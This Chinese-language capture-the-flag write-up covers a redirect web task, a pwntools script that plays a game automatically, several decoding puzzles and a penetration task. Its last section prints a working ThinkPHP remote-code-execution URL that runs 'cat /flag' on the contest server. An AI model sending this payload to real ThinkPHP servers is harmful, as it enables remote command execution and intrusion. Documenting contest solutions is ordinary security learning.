第六,应该能混个三等奖
题量很大,打的人少,很多题都是0解,Reverse全0解,其他方向大都是个位数,综合渗透那里,题特别多,做了一个第一题就没做了,也挺难的,但是分还很低。怪怪的。
Web
gotofly
题目一直重定向,即使到了flag页面,立即刷新也看不见,BP直接抓包,一页一页翻就行了
Misc
chess
半自动化脚本
1# -- coding=utf8 --
2from pwn import *
3io=remote("ctf.zrb.edisec.net",33741)
4win_data=''
5if __name__ == '__main__':
6 n=0
7 l=[[0]*3]*3
8 while 1:
9 if '499/500' in win_data :
10 p.interactive()
11 try:
12 io.sendlineafter('x/y:>','2/2')
13 ob=io.recvuntil('computer:>',timeout=0.2)
14 #ob=io.recvuntil('player:>',timeout=2)
15 #ob=io.recvuntil(str('player:>',timeout=2))
16 #ob=io.recvuntil(str('player:>',timeout=2)).strip()
17 ob=io.recvuntil('player:>',timeout=0.2).decode('utf-8')
18 ob=ob.strip()
19 #ob=ob.split('/n')
20 ob=ob.split('\n')
21 #ob=ob.split('|')
22 ob1=ob[0].split('|')
23 ob2=ob[4].split('|')
24 if '#' in ob1[0] or '#' in ob2[2]:
25 io.send(b'1/2\n')
26 io.sendlineafter('x/y:>',b'3/2')
27 else:
28 io.send(b'2/1\n')
29 io.sendlineafter('x/y:>',b'2/3')
30 try:
31 ob=io.recvuntil('Can you win',timeout=0.2)
32 if not ob:
33 raise Exception("123")
34 win_data=io.recvuntil('*****').decode('utf-8')
35 except:
36 try:
37 io.send(b'1/1\n')
38 ob1=io.recvuntil('repeat',timeout=0.2)
39 if not ob1:
40 raise Exception("123")
41 io.send(b'1/3\n')
42 io.sned(b'3/1\n')
43 except:
44 try:
45 io.send(b'3/3\n')
46 ob=io.recvuntil('Can you win',timeout=0.2)
47 if not ob:
48 raise Exception("123")
49 win_data=io.recvuntil('*****').decode('utf-8')
50 except:
51 #io.interactive()
52 code=0
53 for i in range(1,4):
54 if code:
55 break
56 for j in range(1,4):
57 try:
58 io.send('%s/%s\n'%(i,j))
59 ob=io.recvuntil('Can you win',timeout=0.2)
60 if not ob:
61 raise Exception("123")
62 code=1
63 win_data=io.recvuntil('*****').decode('utf-8')
64 break
65 except:
66 pass
67 else:
68 print("第四层发送2/3,接收win正常")
69 else:
70 print("第三层接收repeat和发送正常")
71 print("第二层接收win正常")
72 except Exception as e:
73 if 'of range' not in e.args[0]:
74 io.interactive()
75 else:
76 print("成功")
77 io.interactive()
checkin
签到:flag{welcome_to_zrb@2021}
阵法的奥秘
提示是8进制,观察到最后的数字是变化的
1PING zrb.edisec.net: 56 data bytes
264 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.77 ms
364 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.78 ms
464 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.83 ms
564 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.77 ms
664 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.81 ms
764 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.81 ms
8...
9略
先提取出来 与最小的76取余后转字符串 最后两层base64
1import base64
2a=[77,78,83,77,81,81,76,82,77,76,82,80,77,80,77,77,76,82,77,81,83,77,83,78,77,80,80,77,76,82,77,81,76,77,80,77,77,78,82,77,76,81,77,79,78,77,82,77,77,79,77,77,81,78,77,77,77,77,83,76,77,80,78,77,76,82,77,80,83,77,83,76,77,78,81,77,81,82,77,79,78,77,79,77,77,77,81,76,82,77,77,77,78,77,82,82,77,78,80,77,78,80,77,76,81,76,82,81,77,78,78,77,76,83,77,77,77,77,83,77,77,77,81,77,79,76,77,80,80,77,80,77,77,78,83,77,76,82,77,76,82,76,82,80,77,79,78,77,76,81,77,80,80,77,82,78,77,80,80,76,82,78,77,77,78,77,82,76,77,78,78,77,81,78,77,81,79,76,83,81]
3d=''
4for i in a:
5 d=d+str(i%76)
6e=''
7for i in range(0,len(d),3):
8 e=e+chr(int(d[i:i+3],8))
9z=base64.b64decode(e)
10z=base64.b64decode(z)
11print(z)
偷走的flag
解压得到这是一个地址.txt
和纸条.rar
小明去食堂吃饭,为了能在吃饭的时候有座位,他把自己的耳机和手机充电器放在桌子上。买饭回来后发现自己的东西不见了。以为被收走了。就去失物招领处询问。询问无果后,在QQ空间发现自己被挂了,说自己给学校丢人,用充电器占座,并把充电器放到了指定位置。小明找到以后发现了一串密文,只有解开密文,才能找到充电器的位置。你能帮助小明发现充电器被藏到哪里了吗。
密文如下:
1%E2%A1%96%E2%A1%9C%E2%A1%91%E2%A1%97%E2%A1%8B%E2%A1%B1%E2%A1%83%E2%A0%81%E2%A1%94%E2%A1%95%E2%A1%AF%E2%A1%B6%E2%A1%82%E2%A1%9F%E2%A1%9D%E2%A1%AF%E2%A1%99%E2%A1%9D%E2%A1%80%E2%A1%9C%E2%A1%95%E2%A1%9D%3D
很明显的url编码,解密后得到⡖⡜⡑⡗⡋⡱⡃⠁⡔⡕⡯⡶⡂⡟⡝⡯⡙⡝⡀⡜⡕⡝=
盲文编码,在线解密得到flag{As1de_From_implem
用这个作为压缩包密码解压
恭喜你帮助小明找到充电器。但是他的耳机也不见了。通过查询监控发现耳机与充电器一起被拿走了。当他发现耳机时,只剩下一个进水的耳机、一摊水渍和一个被揉搓了好几遍的纸条,上面字迹已经被污染了,但隐约写着:********-I_forg1ve_y0u}。你能帮助小明发现被隐藏的字样吗。
vim中看到U+202C
等字符,为0宽加密
解密得到3ntat1on
最后拼接在一起,注意别把0宽字符复制进去
flag{As1de_From_implem3ntat1on-I_forg1ve_y0u}
问卷
一个调查问卷,做完即得flag
综合渗透
综合渗透-FLAG1
Thinkphp框架,还知道版本,直接RCE
1http://82.156.76.152:8077/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag